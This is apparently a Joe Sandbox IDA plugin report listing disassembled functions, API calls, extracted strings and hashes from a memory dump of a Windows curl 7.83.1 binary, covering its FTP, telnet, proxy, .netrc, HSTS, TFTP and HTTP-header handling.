Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$strncpy
String ID: %127[^= ]%*[ =]%255s$%hu%*[xX]%hu$1$BINARY$NEW_ENV$Syntax error in telnet option: %s$TTYPE$USER,%s$Unknown telnet option %s$XDISPLOC
API String ID: 526250031-1116758244
Opcode ID: 99b16b91bdced144fe4381c6b1fb37f01406ba1d91ad9bb3d5249b4c5fb32fa1
Instruction ID: be95ddcf562a311548a5c806787e7eaa7044e9e239d20c84bccf89e44546ba85
Opcode Fuzzy Hash: 99b16b91bdced144fe4381c6b1fb37f01406ba1d91ad9bb3d5249b4c5fb32fa1
Instruction Fuzzy Hash: 1A714A71904608ABDF10EF14CC85BE677B8FB44344F1881B5E949DB246DF719A88CFA1

Function 0089C900 Relevance: 21.4, APIs: 5, Strings: 9, Instructions: 363COMMON

Download Yara Rule

Strings

Got a %03d ftp-server response when 220 was expected, xrefs: 0089C9B2
PROT %c, xrefs: 0089CB3C
AUTH %s, xrefs: 0089CA22, 0089CAAD
Entry path is '%s', xrefs: 0089CD0F, 0089CD5E
unsupported parameter to CURLOPT_FTPSSLAUTH: %d, xrefs: 0089C9F4
Failed to clear the command channel (CCC), xrefs: 0089CBFB
SYST, xrefs: 0089CCD0
ACCT rejected by server: %03d, xrefs: 0089CB0D
CCC, xrefs: 0089CB97

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID:
String ID: ACCT rejected by server: %03d$AUTH %s$CCC$Entry path is '%s'$Failed to clear the command channel (CCC)$Got a %03d ftp-server response when 220 was expected$PROT %c$SYST$unsupported parameter to CURLOPT_FTPSSLAUTH: %d
API String ID: 0-499900516
Opcode ID: 96b9674fb18e56c742bc5eba21bf1617e554083e66352cff33a5f5ee74fce352
Instruction ID: b3030983c25b203c6bd0464c93e331714065ca99179277d73852c4cc98d82f1c
Opcode Fuzzy Hash: 96b9674fb18e56c742bc5eba21bf1617e554083e66352cff33a5f5ee74fce352
Instruction Fuzzy Hash: 8EC1F4B1A40629AFDF14EB28C881BBE77E5FB45314F1C407AE909EB342DB359D008B95

Function 00861580 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 274fileCOMMON

Download Yara Rule

APIs

fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?), ref: 008615E1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 008615F9
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?), ref: 00861692
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?,?,?), ref: 008616A0
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?), ref: 008616AC
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00861780
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,00000001,?,?,%.*s:,00000000,?), ref: 008618A3
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000001,?), ref: 008618B7

Strings

filename=, xrefs: 00861738
%.*s:, xrefs: 00861886
Content-disposition:, xrefs: 008616E4
etag:, xrefs: 00861620

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: fwrite$fflush$fputcfree
String ID: %.*s:$Content-disposition:$etag:$filename=
API String ID: 697768202-2097661518
Opcode ID: 049261a66fef82d4e11eca3bf85460f6975306cf3481030f1d793a45c2f7e3c2
Instruction ID: b760e167481a6377905e4ba7117233c0a38e00a80049440758c583b9a2cd11c7
Opcode Fuzzy Hash: 049261a66fef82d4e11eca3bf85460f6975306cf3481030f1d793a45c2f7e3c2
Instruction Fuzzy Hash: 89A1E335A00645AFDF21CF64C888BAABBE2FF51304F1E8569E856DB356D730AD40CB51

Function 008840DC Relevance: 21.3, APIs: 10, Strings: 4, Instructions: 272COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008841E7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008841FD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088422D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884265
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884291
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008842D5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884311
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008843B3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884420
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884432

Strings

no_proxy, xrefs: 00884180
Uses proxy env variable %s == '%s', xrefs: 008841B0
NO_PROXY, xrefs: 00884196
memory shortage, xrefs: 00884133

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: NO_PROXY$Uses proxy env variable %s == '%s'$memory shortage$no_proxy
API String ID: 1294909896-1311824155
Opcode ID: 9b67799eb14f190ef151ad21a9cd4be012bca32ceafc1a8d2a1e46ab1df1afef
Instruction ID: a24977f69c5ee50869372df46d2d8495725db6f9e8d6bf414a1bc15f0fef05c6
Opcode Fuzzy Hash: 9b67799eb14f190ef151ad21a9cd4be012bca32ceafc1a8d2a1e46ab1df1afef
Instruction Fuzzy Hash: 41A19E32A08716EBDB18AF749848BAEBBF5FF14314F24916AD419D3352DB74AD04CB90

Function 00869DC4 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 208COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00869DCF
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00869E7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869F01
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869F0F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869F5B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00869F70
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869F9B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869FAA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869FC5
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00869FD9

Strings

k%, xrefs: 0086A038
out of memory, xrefs: 00869E61, 0086A025

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$_strdup
String ID: out of memory$k%
API String ID: 2653869212-351869995
Opcode ID: d31964c04c17d19388a490e61a127ef1cfecb7adb8241763c427c6c3695ca0a2
Instruction ID: 85168d4405471868ce44f223f472452cb68a26a5933a1cd2f822c8a453d824d3
Opcode Fuzzy Hash: d31964c04c17d19388a490e61a127ef1cfecb7adb8241763c427c6c3695ca0a2
Instruction Fuzzy Hash: 1B817D31A01246CFDB14CFA4D888BADBBB5FF44315F2A417AE849DF296DB71A841CB50

Function 00862AA8 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 137stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00862AC3
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862ADE
strtok.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008B7348), ref: 00862AFC
strtok.API-MS-WIN-CRT-STRING-L1-1-0(00000000,008B7348), ref: 00862B19
_mkdir.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(00000000), ref: 00862B9F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00862BAA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00862BB5
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 00862BD0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 00862BDB

Strings

%s%s, xrefs: 00862B44, 00862B8F
0Lu@Ru@/Mu, xrefs: 00862BAA, 00862BB5

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: _errnofreestrtok$_mkdir_strdupmalloc
String ID: %s%s$0Lu@Ru@/Mu
API String ID: 2356461126-1827624816
Opcode ID: b6196902cc043c6e77643ca955eb3f66f54c22136684b0e527925941deeea6ea
Instruction ID: 3ec4ea085d0d7d5e64e36942da06c7b28d35deafe0163fc3cc71a9a127506eee
Opcode Fuzzy Hash: b6196902cc043c6e77643ca955eb3f66f54c22136684b0e527925941deeea6ea
Instruction Fuzzy Hash: D6415B35A08F16EFDB255E686C45AEE37E4FF4A770B2542DAE841E7381DB608C0186B1

Function 00870B38 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 111libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(ntdll,RtlVerifyVersionInfo), ref: 00870B6D
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000), ref: 00870B74
VerSetConditionMask.API-MS-WIN-CORE-SYSINFO-L1-2-0(00000000,00000000,00000002,?), ref: 00870C07
VerSetConditionMask.API-MS-WIN-CORE-SYSINFO-L1-2-0(00000000,?,00000001,?), ref: 00870C15
VerSetConditionMask.API-MS-WIN-CORE-SYSINFO-L1-2-0(00000000,?,00000020,?,?,00000001,?), ref: 00870C23
VerSetConditionMask.API-MS-WIN-CORE-SYSINFO-L1-2-0(00000000,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00870C31
VerSetConditionMask.API-MS-WIN-CORE-SYSINFO-L1-2-0(00000000,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00870C3D
RtlVerifyVersionInfo.NTDLL(?,?,00000008,00000001), ref: 00870C5E
VerifyVersionInfoW.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-1(?,0000003B,00000000,?,?,00000008,00000001,?,00000010,?,?,00000020,?,?,00000001,?), ref: 00870C68

Strings

ntdll, xrefs: 00870B68
D?w, xrefs: 00870B7A, 00870C43
RtlVerifyVersionInfo, xrefs: 00870B63

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersion$AddressHandleModuleProc
String ID: D?w$RtlVerifyVersionInfo$ntdll
API String ID: 574519269-3637026075
Opcode ID: 1340d7c7b6692241983b2e8109175835afcba40e4a78120e01ae07a3f09a1ea6
Instruction ID: 715a3365be7edd9d8dd2699857e6f8242f7006e732861e79a466da39e1f49112
Opcode Fuzzy Hash: 1340d7c7b6692241983b2e8109175835afcba40e4a78120e01ae07a3f09a1ea6
Instruction Fuzzy Hash: CA31E4B1448385EFE7119F789C09B7B7BA8FB85718F044A1DF284D6291C7B4CA08CB62

Function 00868A54 Relevance: 21.1, APIs: 3, Strings: 9, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 008720F5: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,?,?,?,00868A7A,curl 7.83.1 (Windows) %s,00000000), ref: 00872101

puts.API-MS-WIN-CRT-STDIO-L1-1-0(008B74AB), ref: 00868AC7
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,00000000,00000004,Function_00008A20), ref: 00868B1A
puts.API-MS-WIN-CRT-STDIO-L1-1-0(008B74AB), ref: 00868B43

Strings

7.83.1, xrefs: 00868B52
curl 7.83.1 (Windows) %s, xrefs: 00868A70
%s , xrefs: 00868AAD
Features:, xrefs: 00868AD8
Release-Date: %s, xrefs: 00868A7F
WARNING: curl and libcurl versions do not match. Functionality may be affected., xrefs: 00868B68
2022-05-13, xrefs: 00868A7A
%s, xrefs: 00868B2D
Protocols: , xrefs: 00868A98

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: puts$__acrt_iob_funcqsort
String ID: %s$%s $2022-05-13$7.83.1$Features:$Protocols: $Release-Date: %s$WARNING: curl and libcurl versions do not match. Functionality may be affected.$curl 7.83.1 (Windows) %s
API String ID: 619265888-3826092985
Opcode ID: a4dfc0bcd9179b490eba042103b2bc373d0c2c6af40db51b6173935497150ae5
Instruction ID: 5ae2b817944e3a40e88c98929ab1a109dc506dd58d4a84c71b1d4b42a4c6e47d
Opcode Fuzzy Hash: a4dfc0bcd9179b490eba042103b2bc373d0c2c6af40db51b6173935497150ae5
Instruction Fuzzy Hash: D8312670340314DBC708EF6CE886CAA3BA5FB497107150229F528D7382CFB6D901C6A7

Function 008635D3 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 89filetimeCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 008635E5
CreateFileA.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000080,00000007,00000000,00000003,00000000,00000000), ref: 008635FD
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 0086360D
GetFileTime.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,?), ref: 00863621
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00863666
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00863688
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00863690
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 0086369B

Strings

Failed to get filetime: underflow, xrefs: 00863646
Failed to get filetime: GetFileTime failed: GetLastError %u, xrefs: 00863679
Failed to get filetime: CreateFile failed: GetLastError %u, xrefs: 008636A2

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleTimeUnothrow_t@std@@@__ehfuncinfo$??2@_strdupfree
String ID: Failed to get filetime: CreateFile failed: GetLastError %u$Failed to get filetime: GetFileTime failed: GetLastError %u$Failed to get filetime: underflow
API String ID: 862977939-2112902429
Opcode ID: 5be3cd2caf9aa95ba43c57bd86b939f424984b7de60bd01bd0fdbe97e51b4543
Instruction ID: 10d2e09c23f8cd633a44a3291fa457e2eef09291283f1df90c475984f68cad47
Opcode Fuzzy Hash: 5be3cd2caf9aa95ba43c57bd86b939f424984b7de60bd01bd0fdbe97e51b4543
Instruction Fuzzy Hash: CF21F271A04605BBD7156BB8DC4AF7E77ACFB51710F264228F502E63C0EA749F005A25

Function 008846F5 Relevance: 19.8, APIs: 9, Strings: 4, Instructions: 272COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088473C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884755
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884772
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088479C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00884874
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008848C3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008848D7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008848F3
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088495C

Strings

HOME, xrefs: 00884817
Couldn't find host %s in the %s file; using defaults, xrefs: 00884922
%s%s.netrc, xrefs: 00884832
%s%s_netrc, xrefs: 00884885

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free
String ID: %s%s.netrc$%s%s_netrc$Couldn't find host %s in the %s file; using defaults$HOME
API String ID: 1294909896-3314400472
Opcode ID: b5c1df35b377a8c39fdbd0dbac5d3cbd1e360eb39284cadba39584ebf1b61dfe
Instruction ID: 237c0794c1b8e50216fef34b2dd8f373c3f12b95579de1f8e913e9cf63f5d8f6
Opcode Fuzzy Hash: b5c1df35b377a8c39fdbd0dbac5d3cbd1e360eb39284cadba39584ebf1b61dfe
Instruction Fuzzy Hash: 24A18136A0461BEFDB14AB64DC41AAEBBF5FF08310F14816AD905E7361EB70AD01CB91

Function 008833BC Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 418stringCOMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0088346D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008834FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008835A5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 008835E8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00883637
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 0088381E

Strings

http, xrefs: 00883567
Switched from HTTP to HTTPS due to HSTS => %s, xrefs: 00883646
https, xrefs: 008835B6
file, xrefs: 00883546, 00883804
%s://%s, xrefs: 00883438

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: free$strtoul
String ID: %s://%s$Switched from HTTP to HTTPS due to HSTS => %s$file$http$https
API String ID: 961130014-588811053
Opcode ID: 37e10c38aa26c237cc394d6bbd3137a457cbba8871e10d843c18d0aa175e2634
Instruction ID: 83fefc4f292ba0e7616081bd1a7e8b22a9d34c34c2b0aef1fdc6ac8f87c552a6
Opcode Fuzzy Hash: 37e10c38aa26c237cc394d6bbd3137a457cbba8871e10d843c18d0aa175e2634
Instruction Fuzzy Hash: 85E1F171704A06ABEB18EB38D851BA9B7A5FF54710F14812AE819D73C1EF70EA048B85

Function 00897FE8 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 239networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 008980F9
sendto.WS2_32(?,?,?,00000000,?,?), ref: 00898193
WSAGetLastError.WS2_32(?,?,00000004,?,00000000), ref: 008981A2
_time64.API-MS-WIN-CRT-TIME-L1-1-0(?,00000004,?,00000000), ref: 008981D1

Strings

Received ACK for block %d, expecting %d, xrefs: 00898149
Timeout waiting for block %d ACK. Retries = %d, xrefs: 0089804D
tftp_tx: internal error, event: %i, xrefs: 00898028
tftp_tx: giving up waiting for block %d ack, xrefs: 0089816A

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: sendto$ErrorLast_time64
String ID: Received ACK for block %d, expecting %d$Timeout waiting for block %d ACK. Retries = %d$tftp_tx: giving up waiting for block %d ack$tftp_tx: internal error, event: %i
API String ID: 3931062552-2715966420
Opcode ID: f18311c91498534854ede6b5642cf8c66a34cd2fe225342af2cb6df6fba8ef52
Instruction ID: 3d2f11e0ce0f6bae31cc5cdcd3a9ad76729440a9838ece6eb57681a502624f65
Opcode Fuzzy Hash: f18311c91498534854ede6b5642cf8c66a34cd2fe225342af2cb6df6fba8ef52
Instruction Fuzzy Hash: D2916871204B02DFDB65AF38C885BE6B7F5FB56304F08891EE89EC6261DB30A944DB51

Function 0089F120 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 236networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000006,00000000), ref: 0089F340
WSAGetLastError.WS2_32 ref: 0089F34A
send.WS2_32(?,?,?,00000000), ref: 0089F3E5
WSAGetLastError.WS2_32 ref: 0089F3EF

Strings

%c%c%c%c%s%c%c, xrefs: 0089F3B1
Sending data failed (%d), xrefs: 0089F351, 0089F3F6
%c%c, xrefs: 0089F310
%127[^,]%1[,]%127s, xrefs: 0089F278
%c%s%c%s, xrefs: 0089F2CD
%c%c%c%c, xrefs: 0089F1F1
%c%s, xrefs: 0089F299

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: %127[^,]%1[,]%127s$%c%c$%c%c%c%c$%c%c%c%c%s%c%c$%c%s$%c%s%c%s$Sending data failed (%d)
API String ID: 1802528911-3533120981
Opcode ID: 127a090ff148adff3c73c76474296fccf13537c1e1ee999a8f2317709a7d131b
Instruction ID: e85eab561e75659c3d021ac1e2e9c0027b48a445add5f955256b4f5cac563c31
Opcode Fuzzy Hash: 127a090ff148adff3c73c76474296fccf13537c1e1ee999a8f2317709a7d131b
Instruction Fuzzy Hash: 3E81D671644219AFEB24DB18CC46FEA77B8FB44700F0841F5F64DEB283DA71AA458B61

Function 0089187B Relevance: 19.5, APIs: 3, Strings: 8, Instructions: 225COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00891902
___from_strstr_to_strchr.LIBCMT ref: 00891913
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,?,?,?,?,0088A14F,?), ref: 00891AC8

Part of subcall function 0087D126: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0087D13A

Strings

Transfer-Encoding:, xrefs: 00891A58
Connection:, xrefs: 00891A3C
Content-Length:, xrefs: 00891A20
Authorization:, xrefs: 00891A6B
%s, xrefs: 00891A9B
Cookie:, xrefs: 00891A7E
Content-Type:, xrefs: 008919E1, 008919FD
Host:, xrefs: 008919BF

Memory Dump Source

Source File: 0000000D.00000002.2189168882.0000000000861000.00000020.00000001.01000000.00000007.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000D.00000002.2189145513.0000000000860000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189227593.00000000008B5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189263682.00000000008CF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.2189288243.00000000008D0000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_860000_curl.jbxd

Similarity

API ID: ___from_strstr_to_strchrfree
String ID: %s$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:
API String ID: 653773606-2985882615
Opcode ID: 1836fc55642a76447198b76b38c3e31095a9ac9c8b5222643bb0b61725ed8dc1
Instruction ID: 55136073bb5fcbb2f84a873780890778f26df563fccae176eeeb0e3a9bd8a178
Opcode Fuzzy Hash: 1836fc55642a76447198b76b38c3e31095a9ac9c8b5222643bb0b61725ed8dc1
Instruction Fuzzy Hash: FD71F134B087279BEF28EEA8949876DBBE1FF05754F2C806AD545EB285DB309D41C780

Function 00862DFA Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 224stringCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,00000001,00000000,00000000), ref: 00862E50
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000,00000002), ref: 00862E67
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000,00000103,00000001,00000000,00000000), ref: 00862EB2
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00862FA9

Strings

NUL, xrefs: 00862F10
CON, xrefs: 00862ED6
AUX, xrefs: 00862EFE
CLOCK$, xrefs: 00862F23
LPT, xrefs: 00862F4C
